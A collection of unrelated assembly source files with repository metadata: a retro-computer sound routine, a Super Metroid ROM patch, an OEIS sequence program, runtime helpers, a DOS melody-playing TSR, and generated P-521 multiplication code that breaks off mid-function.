TheStack | a7631afe2a9a9ad5e4f36bbef06e90320d4b9086 | Assemblycode:Assembly | {"size": 1917, "ext": "asm", "max_stars_repo_path": "source/extension/option_x16/sound/sndutils.asm", "max_stars_repo_name": "paulscottrobson/6502-basic", "max_stars_repo_stars_event_min_datetime": "2021-09-30T19:34:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-31T06:55:50.000Z", "max_issues_repo_path": "source/extension/option_x16/sound/sndutils.asm", "max_issues_repo_name": "paulscottrobson/6502-Basic", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "source/extension/option_x16/sound/sndutils.asm", "max_forks_repo_name": "paulscottrobson/6502-Basic", "max_forks_repo_forks_event_min_datetime": "2021-12-07T21:58:44.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-07T21:58:44.000Z"} | {"max_stars_count": 3, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 28.6119402985, "max_line_length": 98, "alphanum_fraction": 0.372456964} | ; ************************************************************************************************
; ************************************************************************************************
;
; Name: sndutils.asm
; Purpose: Sound utility functions
; Created: 9th April 2021
; Author: Paul Robson ([email protected])
;
; ************************************************************************************************
; ************************************************************************************************
.section code
; ************************************************************************************************
;
; Point VRAM pointer to sound channel A
;
; ************************************************************************************************
CSPointChannel:
asl a ; 4 bytes / channel
asl a
ora #X16VeraSound & $FF ; at $1F9C0
sta X16VeraAddLow
lda #(X16VeraSound >> 8) & $FF
sta X16VeraAddMed
lda #(X16VeraSound >> 16) | $10
sta X16VeraAddHigh
rts
; ************************************************************************************************
;
; Sound channels Reset
;
; ************************************************************************************************
SoundReset:
lda #0 ; no channels playing
sta LiveChannels
ldx #Channels-1
_SCClear: ; zero all the tick counts.
sta ChannelTime,x
dex
bpl _SCClear
;
ldx #sndQueueSize*6+1 ; zero the sound queue.
_SCClear2:
sta sndQueue-1,x
dex
bne _SCClear2
;
lda #X16VeraSound & $FF ; point VRAM data pointer to $1F9C0 increment
sta X16VeraAddLow
lda #(X16VeraSound >> 8) & $FF
sta X16VeraAddMed
lda #(X16VeraSound >> 16) | $10
sta X16VeraAddHigh
_SCClear3: ; clear all PSG registers
lda #0
sta X16VeraData0
lda X16VeraAddLow
bne _SCClear3
rts
.send code
|
||||
TheStack | b02e1331a2652a613493dbe96adbd11e5b65f846 | Assemblycode:Assembly | {"size": 599, "ext": "asm", "max_stars_repo_path": "supers-ineffective.xkas-06.asm", "max_stars_repo_name": "n00btube/sm-missile-doors", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "supers-ineffective.xkas-06.asm", "max_issues_repo_name": "n00btube/sm-missile-doors", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "supers-ineffective.xkas-06.asm", "max_forks_repo_name": "n00btube/sm-missile-doors", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 29.95, "max_line_length": 73, "alphanum_fraction": 0.7212020033} | ; Copyright 2015 Adam <https://github.com/n00btube>
; MIT license.
; There _could_ be newer versions available on GitHub.
; Derp. JAM found a hex tweak for this very thing. It just NOPs out the
; super missile CMP/BEQ right there at $84:BD58.
;
; The only reasons to use THIS are:
; 1. if you like ASM as much as I do
; 2. if wasting cycles on five NOPs per projectile hit bugs you
lorom
; red door hit detection: rewrite in place, no free space used
org $84BD58
CMP #$0100 ; check regular missile instead of super
BEQ $05 ; $BD62, regular missile code
JMP $BD74 ; non-reaction code
|
||||
TheStack | 0612a2d987fa4f0320b57d586c6d2b44012411b7 | Assemblycode:Assembly | {"size": 691, "ext": "asm", "max_stars_repo_path": "oeis/305/A305472.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/305/A305472.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/305/A305472.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 38.3888888889, "max_line_length": 463, "alphanum_fraction": 0.7930535456} | ; A305472: a(0) = 1, a(1) = 3, a(n) = 3*n*a(n-1) - 2*a(n-2).
; Submitted by Christian Krause
; 1,3,16,138,1624,24084,430264,8987376,214836496,5782610640,173048646208,5699040103584,204819346436608,7976556430820544,334605731401589632,15041304800209892352,721313418947271653632,36756901756710434550528,1983430068024468922421248,112982000073881307708910080,6774953144296829524689762304,426596084090552497440037204992,28141791643687871171993076004864,1940930431246282005872642169925632,139690707466444928680486250082635776,10472921199120877087024723471857831936
mov $1,1
mov $3,1
lpb $0
mul $1,$0
sub $0,1
add $2,$1
mul $2,2
add $1,$2
mov $2,$3
dif $2,-1
mov $3,$1
lpe
mov $0,$1
|
||||
TheStack | 111024542c14e83495d0f614adf1c82f7c53f2a9 | Assemblycode:Assembly | {"size": 145, "ext": "asm", "max_stars_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_dsub.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_dsub.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_dsub.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.7142857143, "max_line_length": 47, "alphanum_fraction": 0.8137931034} | Name: zel_dsub.asm
Type: file
Size: 7813
Last-Modified: '2016-05-13T04:22:15Z'
SHA-1: 27E3F4DB72D39DD427FF5E5606661EEC403F6F42
Description: null
|
||||
TheStack | 0f262cc41763d029d4e78fb1a7d887fcacbd8eb0 | Assemblycode:Assembly | {"size": 393, "ext": "asm", "max_stars_repo_path": "libsrc/z80_crt0s/z80/sccz80/l_cm_de.asm", "max_stars_repo_name": "Frodevan/z88dk", "max_stars_repo_stars_event_min_datetime": "2021-06-18T12:56:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T20:38:40.000Z", "max_issues_repo_path": "libsrc/z80_crt0s/z80/sccz80/l_cm_de.asm", "max_issues_repo_name": "Frodevan/z88dk", "max_issues_repo_issues_event_min_datetime": "2021-06-20T16:28:12.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-17T21:33:56.000Z", "max_forks_repo_path": "libsrc/z80_crt0s/z80/sccz80/l_cm_de.asm", "max_forks_repo_name": "Frodevan/z88dk", "max_forks_repo_forks_event_min_datetime": "2021-06-18T18:18:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T08:01:32.000Z"} | {"max_stars_count": 38, "max_issues_count": 2, "max_forks_count": 6, "avg_line_length": 13.1, "max_line_length": 48, "alphanum_fraction": 0.5394402036} | ; Z88 Small C+ Run time Library
; Moved functions over to proper libdefs
; To make startup code smaller and neater!
;
; 6/9/98 djm
SECTION code_crt0_sccz80
PUBLIC l_cm_de
.l_cm_de
ld a,d
IF __CPU_GBZ80__
rla
ret nc
ld a,d
ELSE
or a
ret p
ENDIF
cpl
ld d,a
ld a,e
cpl
ld e,a
inc de
ret
|
||||
TheStack | 9b4bbf58e4e8defa67d0b58ca98469ae8a81bc13 | Assemblycode:Assembly | {"size": 85, "ext": "asm", "max_stars_repo_path": "print-3/code/clr0.asm", "max_stars_repo_name": "varmfskii/coco", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "print-3/code/clr0.asm", "max_issues_repo_name": "varmfskii/coco", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "print-3/code/clr0.asm", "max_forks_repo_name": "varmfskii/coco", "max_forks_repo_forks_event_min_datetime": "2021-12-20T16:55:42.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-20T16:55:42.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 7.7272727273, "max_line_length": 17, "alphanum_fraction": 0.6117647059} | clr0:
ldx #VIDRAM
clra
clrb
loop@:
std ,x++
cmpx #VIDRAM+512
bne loop@
rts
|
||||
TheStack | be39ddbda6dd38d8f4ecde80dafa3921d423e44e | Assemblycode:Assembly | {"size": 6735, "ext": "asm", "max_stars_repo_path": "fun/bell.asm", "max_stars_repo_name": "takama/junior", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fun/bell.asm", "max_issues_repo_name": "takama/junior", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "fun/bell.asm", "max_forks_repo_name": "takama/junior", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 64.1428571429, "max_line_length": 78, "alphanum_fraction": 0.3066072754} | .model small
.code
org 100h ;загрузить с адреса 100h
start: ;точка входа
jmp inst ;переход на инсталяцию
;----------------------------------------------------------------------------
;------ обработка прерывания 8h ---------------------------------------------
;----------------------------------------------------------------------------
int8 label byte ;точка входа
cli ;запрет прерываний
push ax ;сохранить в стеке ax и ds
push ds ;
pushf ;сохранить флаги
db 9ah ;команда вызова программы,
old8o dw 0 ;адрес которой находится
old8s dw 0 ;ниже
xor ax,ax ;ax=0
mov ds,ax ;ds=0
cmp word ptr ds:[46ch],0ff00h ;сравнить ячейку таймера
jnz nosound ;если нет, то переход
cli ;запрет прерываний
mov ax,word ptr cs:old8o ;установка старого вектора
mov word ptr ds:[20h],ax ;прерываний 8h в таблицу
mov ax,word ptr cs:old8s ;векторов
mov word ptr ds:[22h],ax ;
sti ;разрешение прерываний
call melody ;вызов подпрограммы мелодии
cli ;запрет прерываний
push cs ;установка нового вектора
pop word ptr ds:[22h] ;прерываний 8h в таблицу
mov word ptr ds:[20h],offset int8 ;векторов
sti ;разрешение прерываний
nosound: ;
pop ds ;вытолкнуть из стека
pop ax ;ds и ax
iret ;возврат из прерывания
;----------------------------------------------------------------------------
;------ подпрограмма проигрывания мелодии -----------------------------------
;----------------------------------------------------------------------------
melody proc near ;
push bx ;сохранить регистры
push dx ;bx, dx, si, ds
push si ;
push ds ;
push cs ;
pop ds ;ds = cs
in al,61h ;чтение порта 61h
or al,00000011b ;установка двух младших битов
out 61h,al ;запись в порт 61h значения
mov si,offset freq ;в si смещение мелодии
mov al,0b6h ;инициализация канала 2
out 43h,al ;таймера
next_n: ;
lodsw ;загрузить частоту ноты в ax
cmp al,0ffh ;сравнить с концом мелодии
je no_more ;если да, то переход
out 42h,al ;младший байт частоты
mov al,ah ;
out 42h,al ;старший байт частоты
mov ah,0 ;
int 1ah ;получить значение счетчика
lodsb ;длину очередной ноты в al
mov bx,dx ;младшее слово счетчика
add bx,ax ;определяем момент окончания
still_s: ;
mov ah,0 ;
int 1ah ;получить значение счетчика
cmp dx,bx ;если не равно то
jne still_s ;переход (ожидание)
jmp short next_n ;загрузка следующей ноты
no_more: ;
in al,61h ;выключить динамик
and al,0fch ;
out 61h,al ;
pop ds ;вытолкнуть из стека
pop si ;ds, si, dx, bx
pop dx ;
pop bx ;
ret ;возврат из подпрограммы
melody endp ;конец подпрограммы
;----------------------------------------------------------------------------
;------ блок данных для проигрывания мелодии --------------------------------
;----------------------------------------------------------------------------
freq db 23h,0eh,9,0e3h,0bh,9,6fh,9,9,0e3h,0bh,9,97h,0ah,18
db 0e3h,0bh,9,98h,0ch,9,6fh,9,18,97h,0ah,18,23h,0eh,18
db 54h,0,18,0e8h,8,3,54h,0,15,0e8h,8,3,54h,0,15,0e8h,8,3
db 54h,0,15,0e8h,8,3,54h,0,15,0e8h,8,3,54h,0,15,0e8h,8,9,0ffh
;----------------------------------------------------------------------------
inst: ;инициализация
mov ax,3508h ;занести вектор прерывания
int 21h ;8h в подготовленную ячейку
mov word ptr [old8o],bx ;памяти
mov word ptr [old8s],es ;
cli ;запрет прерываний
lea dx,int8 ;загрузить новый обработчик
mov ax,2508h ;прерывания
int 21h ;
sti ;разрешение прерываний
lea dx,inst ;адрес конца программы
int 27h ;выйти в ДОС оставив в
end start ;резиденте обработчик
;прерывания 8h
|
||||
TheStack | e737a674b7051dadaa4391b83d48c4e0270ec2fa | Assemblycode:Assembly | {"size": 23775, "ext": "asm", "max_stars_repo_path": "fiat-amd64/144.28_ratio10700_seed380019983455042_mul_p521.asm", "max_stars_repo_name": "dderjoel/fiat-crypto", "max_stars_repo_stars_event_min_datetime": "2015-11-25T23:44:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T17:31:21.000Z", "max_issues_repo_path": "fiat-amd64/144.28_ratio10700_seed380019983455042_mul_p521.asm", "max_issues_repo_name": "dderjoel/fiat-crypto", "max_issues_repo_issues_event_min_datetime": "2016-02-02T14:03:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T16:47:23.000Z", "max_forks_repo_path": "fiat-amd64/144.28_ratio10700_seed380019983455042_mul_p521.asm", "max_forks_repo_name": "dderjoel/fiat-crypto", "max_forks_repo_forks_event_min_datetime": "2015-10-25T16:28:15.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-08T23:01:09.000Z"} | {"max_stars_count": 491, "max_issues_count": 755, "max_forks_count": 117, "avg_line_length": 39.9579831933, "max_line_length": 129, "alphanum_fraction": 0.6348685594} | SECTION .text
GLOBAL mul_p521
mul_p521:
sub rsp, 0x2d8 ; last 0x30 (6) for Caller - save regs
mov [ rsp + 0x2a8 ], rbx; saving to stack
mov [ rsp + 0x2b0 ], rbp; saving to stack
mov [ rsp + 0x2b8 ], r12; saving to stack
mov [ rsp + 0x2c0 ], r13; saving to stack
mov [ rsp + 0x2c8 ], r14; saving to stack
mov [ rsp + 0x2d0 ], r15; saving to stack
mov rax, rdx; preserving value of arg2 into a new reg
mov rdx, [ rsi + 0x0 ]; saving arg1[0] in rdx.
mulx r10, r11, [ rax + 0x0 ]; x162, x161<- arg1[0] * arg2[0]
imul rbx, [ rax + 0x38 ], 0x2; x10001 <- arg2[7] * 0x2
imul rbp, [ rax + 0x40 ], 0x2; x10000 <- arg2[8] * 0x2
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx r12, r13, rbp; x72, x71<- arg1[1] * x10000
imul r14, [ rax + 0x20 ], 0x2; x10004 <- arg2[4] * 0x2
imul r15, [ rax + 0x30 ], 0x2; x10002 <- arg2[6] * 0x2
mov rdx, [ rsi + 0x28 ]; arg1[5] to rdx
mulx rcx, r8, r14; x52, x51<- arg1[5] * x10004
imul r9, [ rax + 0x8 ], 0x2; x10007 <- arg2[1] * 0x2
mov rdx, rbx; x10001 to rdx
mov [ rsp + 0x0 ], rdi; spilling out1 to mem
mulx rbx, rdi, [ rsi + 0x10 ]; x70, x69<- arg1[2] * x10001
mov [ rsp + 0x8 ], r10; spilling x162 to mem
imul r10, [ rax + 0x18 ], 0x2; x10005 <- arg2[3] * 0x2
mov [ rsp + 0x10 ], r12; spilling x72 to mem
mov r12, rdx; preserving value of x10001 into a new reg
mov rdx, [ rsi + 0x40 ]; saving arg1[8] in rdx.
mov [ rsp + 0x18 ], r11; spilling x161 to mem
mulx r9, r11, r9; x16, x15<- arg1[8] * x10007
mov rdx, r15; x10002 to rdx
mov [ rsp + 0x20 ], r13; spilling x71 to mem
mulx r15, r13, [ rsi + 0x18 ]; x66, x65<- arg1[3] * x10002
mov [ rsp + 0x28 ], rbx; spilling x70 to mem
imul rbx, [ rax + 0x28 ], 0x2; x10003 <- arg2[5] * 0x2
mov [ rsp + 0x30 ], rbp; spilling x10000 to mem
imul rbp, [ rax + 0x10 ], 0x2; x10006 <- arg2[2] * 0x2
xchg rdx, rbp; x10006, swapping with x10002, which is currently in rdx
mov [ rsp + 0x38 ], rdi; spilling x69 to mem
mov [ rsp + 0x40 ], r15; spilling x66 to mem
mulx rdi, r15, [ rsi + 0x38 ]; x30, x29<- arg1[7] * x10006
mov [ rsp + 0x48 ], rcx; spilling x52 to mem
xor rcx, rcx
adox r11, r15
adox rdi, r9
xchg rdx, r10; x10005, swapping with x10006, which is currently in rdx
mulx r9, r15, [ rsi + 0x30 ]; x42, x41<- arg1[6] * x10005
adcx r11, r15
adcx r9, rdi
mov rdi, rdx; preserving value of x10005 into a new reg
mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx.
mulx r15, rcx, rbx; x60, x59<- arg1[4] * x10003
mov [ rsp + 0x50 ], r15; spilling x60 to mem
xor r15, r15
adox r11, r8
adcx r11, rcx
setc r8b; spill CF x176 to reg (r8)
clc;
adcx r11, r13
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mulx r13, rcx, rdi; x28, x27<- arg1[7] * x10005
mov rdx, [ rsi + 0x40 ]; arg1[8] to rdx
mulx r10, r15, r10; x14, x13<- arg1[8] * x10006
adox r9, [ rsp + 0x48 ]
mov rdx, [ rax + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x58 ], r10; spilling x14 to mem
mov [ rsp + 0x60 ], r13; spilling x28 to mem
mulx r10, r13, [ rsi + 0x8 ]; x144, x143<- arg1[1] * arg2[0]
movzx r8, r8b
lea r9, [ r8 + r9 ]
mov r8, [ rsp + 0x50 ]
lea r9, [r8+r9]
mov rdx, rbx; x10003 to rdx
mulx rbx, r8, [ rsi + 0x28 ]; x50, x49<- arg1[5] * x10003
xchg rdx, r12; x10001, swapping with x10003, which is currently in rdx
mov [ rsp + 0x68 ], r10; spilling x144 to mem
mov [ rsp + 0x70 ], r13; spilling x143 to mem
mulx r10, r13, [ rsi + 0x18 ]; x64, x63<- arg1[3] * x10001
adcx r9, [ rsp + 0x40 ]
xchg rdx, r14; x10004, swapping with x10001, which is currently in rdx
mov [ rsp + 0x78 ], r10; spilling x64 to mem
mov [ rsp + 0x80 ], rbx; spilling x50 to mem
mulx r10, rbx, [ rsi + 0x30 ]; x40, x39<- arg1[6] * x10004
test al, al
adox r11, [ rsp + 0x38 ]
adox r9, [ rsp + 0x28 ]
adcx r11, [ rsp + 0x20 ]
mov [ rsp + 0x88 ], r13; spilling x63 to mem
mov r13, -0x2 ; moving imm to reg
inc r13; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r15, rcx
mov rcx, rdx; preserving value of x10004 into a new reg
mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx.
mov [ rsp + 0x90 ], r10; spilling x40 to mem
mulx r13, r10, rbp; x58, x57<- arg1[4] * x10002
mov [ rsp + 0x98 ], r13; spilling x58 to mem
mov r13, [ rsp + 0x58 ]; load m64 x14 to register64
adox r13, [ rsp + 0x60 ]
mov [ rsp + 0xa0 ], r10; spilling x57 to mem
mov r10, -0x2 ; moving imm to reg
inc r10; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r11, [ rsp + 0x18 ]
adcx r9, [ rsp + 0x10 ]
adox r9, [ rsp + 0x8 ]
mov r10, r11; x195, copying x191 here, cause x191 is needed in a reg for other than x195, namely all: , x195, x197, size: 2
shrd r10, r9, 58; x195 <- x193||x191 >> 58
mov [ rsp + 0xa8 ], r10; spilling x195 to mem
xor r10, r10
adox r15, rbx
adcx r15, r8
adox r13, [ rsp + 0x90 ]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r8, rbx, [ rsp + 0x30 ]; x68, x67<- arg1[2] * x10000
setc r10b; spill CF x431 to reg (r10)
shr r9, 58; x196 <- x193>> 58
mov [ rsp + 0xb0 ], r9; spilling x196 to mem
xor r9, r9
adox r15, [ rsp + 0xa0 ]
adcx r15, [ rsp + 0x88 ]
mov rdx, rbp; x10002 to rdx
mulx rbp, r9, [ rsi + 0x28 ]; x48, x47<- arg1[5] * x10002
movzx r10, r10b
lea r13, [ r10 + r13 ]
mov r10, [ rsp + 0x80 ]
lea r13, [r10+r13]
adox r13, [ rsp + 0x98 ]
mov r10, rdx; preserving value of x10002 into a new reg
mov rdx, [ rax + 0x8 ]; saving arg2[1] in rdx.
mov [ rsp + 0xb8 ], rbp; spilling x48 to mem
mov [ rsp + 0xc0 ], r9; spilling x47 to mem
mulx rbp, r9, [ rsi + 0x0 ]; x160, x159<- arg1[0] * arg2[1]
adcx r13, [ rsp + 0x78 ]
mov [ rsp + 0xc8 ], rbp; spilling x160 to mem
xor rbp, rbp
adox r15, rbx
adcx r15, [ rsp + 0x70 ]
mov rdx, [ rsi + 0x40 ]; arg1[8] to rdx
mulx rdi, rbx, rdi; x12, x11<- arg1[8] * x10005
adox r8, r13
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r13, rbp, [ rax + 0x0 ]; x128, x127<- arg1[2] * arg2[0]
mov [ rsp + 0xd0 ], r13; spilling x128 to mem
mov r13, -0x2 ; moving imm to reg
inc r13; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r15, r9
adcx r8, [ rsp + 0x68 ]
clc;
adcx r15, [ rsp + 0xa8 ]
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mulx r9, r13, rcx; x26, x25<- arg1[7] * x10004
adox r8, [ rsp + 0xc8 ]
adcx r8, [ rsp + 0xb0 ]
mov [ rsp + 0xd8 ], rbp; spilling x127 to mem
mov rbp, r15; x458, copying x454 here, cause x454 is needed in a reg for other than x458, namely all: , x460, x458, size: 2
shrd rbp, r8, 58; x458 <- x456||x454 >> 58
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mov [ rsp + 0xe0 ], rbp; spilling x458 to mem
mov [ rsp + 0xe8 ], rdi; spilling x12 to mem
mulx rbp, rdi, [ rsi + 0x8 ]; x142, x141<- arg1[1] * arg2[1]
test al, al
adox rbx, r13
adox r9, [ rsp + 0xe8 ]
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mov [ rsp + 0xf0 ], rbp; spilling x142 to mem
mulx r13, rbp, r12; x38, x37<- arg1[6] * x10003
adcx rbx, rbp
adcx r13, r9
xor r9, r9
adox rbx, [ rsp + 0xc0 ]
adox r13, [ rsp + 0xb8 ]
mov rdx, [ rax + 0x10 ]; arg2[2] to rdx
mulx rbp, r9, [ rsi + 0x0 ]; x158, x157<- arg1[0] * arg2[2]
mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx
mov [ rsp + 0xf8 ], rbp; spilling x158 to mem
mov [ rsp + 0x100 ], r9; spilling x157 to mem
mulx rbp, r9, [ rsp + 0x30 ]; x62, x61<- arg1[3] * x10000
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mov [ rsp + 0x108 ], rdi; spilling x141 to mem
mov [ rsp + 0x110 ], rbp; spilling x62 to mem
mulx rdi, rbp, r14; x56, x55<- arg1[4] * x10001
adcx rbx, rbp
adcx rdi, r13
add rbx, r9; could be done better, if r0 has been u8 as well
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx r13, r9, [ rax + 0x18 ]; x156, x155<- arg1[0] * arg2[3]
adcx rdi, [ rsp + 0x110 ]
add rbx, [ rsp + 0xd8 ]; could be done better, if r0 has been u8 as well
adcx rdi, [ rsp + 0xd0 ]
shr r8, 58; x459 <- x456>> 58
add rbx, [ rsp + 0x108 ]; could be done better, if r0 has been u8 as well
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mov [ rsp + 0x118 ], r13; spilling x156 to mem
mulx rbp, r13, [ rax + 0x8 ]; x126, x125<- arg1[2] * arg2[1]
mov [ rsp + 0x120 ], r9; spilling x155 to mem
mov r9, -0x2 ; moving imm to reg
inc r9; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox rbx, [ rsp + 0x100 ]
adcx rdi, [ rsp + 0xf0 ]
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mov [ rsp + 0x128 ], rbp; spilling x126 to mem
mulx r9, rbp, [ rsp + 0x30 ]; x54, x53<- arg1[4] * x10000
clc;
adcx rbx, [ rsp + 0xe0 ]
adox rdi, [ rsp + 0xf8 ]
adcx r8, rdi
mov rdx, r12; x10003 to rdx
mulx r12, rdi, [ rsi + 0x38 ]; x24, x23<- arg1[7] * x10003
mov [ rsp + 0x130 ], r13; spilling x125 to mem
mov r13, rdx; preserving value of x10003 into a new reg
mov rdx, [ rsi + 0x30 ]; saving arg1[6] in rdx.
mov [ rsp + 0x138 ], r9; spilling x54 to mem
mov [ rsp + 0x140 ], rbp; spilling x53 to mem
mulx r9, rbp, r10; x36, x35<- arg1[6] * x10002
mov rdx, [ rsi + 0x40 ]; arg1[8] to rdx
mov [ rsp + 0x148 ], r8; spilling x463 to mem
mulx rcx, r8, rcx; x10, x9<- arg1[8] * x10004
mov [ rsp + 0x150 ], rbx; spilling x461 to mem
xor rbx, rbx
adox r8, rdi
adcx r8, rbp
adox r12, rcx
adcx r9, r12
mov rdx, r14; x10001 to rdx
mulx r14, rdi, [ rsi + 0x28 ]; x46, x45<- arg1[5] * x10001
mov rbp, [ rsp + 0x150 ]; load m64 x461 to register64
mov rcx, [ rsp + 0x148 ]; load m64 x463 to register64
mov r12, rbp; x465, copying x461 here, cause x461 is needed in a reg for other than x465, namely all: , x467, x465, size: 2
shrd r12, rcx, 58; x465 <- x463||x461 >> 58
mov rbx, rdx; preserving value of x10001 into a new reg
mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx.
mov [ rsp + 0x158 ], r12; spilling x465 to mem
mov [ rsp + 0x160 ], r9; spilling x364 to mem
mulx r12, r9, [ rax + 0x10 ]; x140, x139<- arg1[1] * arg2[2]
test al, al
adox r8, rdi
adox r14, [ rsp + 0x160 ]
mov rdx, [ rsi + 0x40 ]; arg1[8] to rdx
mulx r13, rdi, r13; x8, x7<- arg1[8] * x10003
mov rdx, [ rax + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x168 ], r13; spilling x8 to mem
mov [ rsp + 0x170 ], rdi; spilling x7 to mem
mulx r13, rdi, [ rsi + 0x18 ]; x114, x113<- arg1[3] * arg2[0]
adcx r8, [ rsp + 0x140 ]
mov [ rsp + 0x178 ], r12; spilling x140 to mem
mov r12, -0x2 ; moving imm to reg
inc r12; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r8, rdi
adcx r14, [ rsp + 0x138 ]
clc;
adcx r8, [ rsp + 0x130 ]
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx rdi, r12, [ rax + 0x20 ]; x154, x153<- arg1[0] * arg2[4]
adox r13, r14
mov rdx, [ rsi + 0x28 ]; arg1[5] to rdx
mov [ rsp + 0x180 ], rdi; spilling x154 to mem
mulx r14, rdi, [ rsp + 0x30 ]; x44, x43<- arg1[5] * x10000
adcx r13, [ rsp + 0x128 ]
add r8, r9; could be done better, if r0 has been u8 as well
mov rdx, r10; x10002 to rdx
mulx r10, r9, [ rsi + 0x38 ]; x22, x21<- arg1[7] * x10002
adcx r13, [ rsp + 0x178 ]
add r8, [ rsp + 0x120 ]; could be done better, if r0 has been u8 as well
mov [ rsp + 0x188 ], r12; spilling x153 to mem
mov r12, -0x2 ; moving imm to reg
inc r12; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r8, [ rsp + 0x158 ]
mov r12, rdx; preserving value of x10002 into a new reg
mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx.
mov [ rsp + 0x190 ], r14; spilling x44 to mem
mov [ rsp + 0x198 ], rdi; spilling x43 to mem
mulx r14, rdi, [ rax + 0x10 ]; x124, x123<- arg1[2] * arg2[2]
adcx r13, [ rsp + 0x118 ]
mov [ rsp + 0x1a0 ], r14; spilling x124 to mem
mov r14, 0x3ffffffffffffff ; moving imm to reg
mov [ rsp + 0x1a8 ], rdi; spilling x123 to mem
seto dil; spill OF x469 to reg (rdi)
and r11, r14; x197 <- x191&0x3ffffffffffffff
mov rdx, [ rax + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x1b0 ], r11; spilling x197 to mem
mulx r14, r11, [ rsi + 0x20 ]; x102, x101<- arg1[4] * arg2[0]
shr rcx, 58; x466 <- x463>> 58
sar dil, 1
adcx rcx, r13
mov rdi, r8; x472, copying x468 here, cause x468 is needed in a reg for other than x472, namely all: , x474, x472, size: 2
shrd rdi, rcx, 58; x472 <- x470||x468 >> 58
mov r13, 0x3ffffffffffffff ; moving imm to reg
and r8, r13; x474 <- x468&0x3ffffffffffffff
adox r9, [ rsp + 0x170 ]
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mov [ rsp + 0x1b8 ], rdi; spilling x472 to mem
mulx r13, rdi, rbx; x34, x33<- arg1[6] * x10001
adcx r9, rdi
adox r10, [ rsp + 0x168 ]
adcx r13, r10
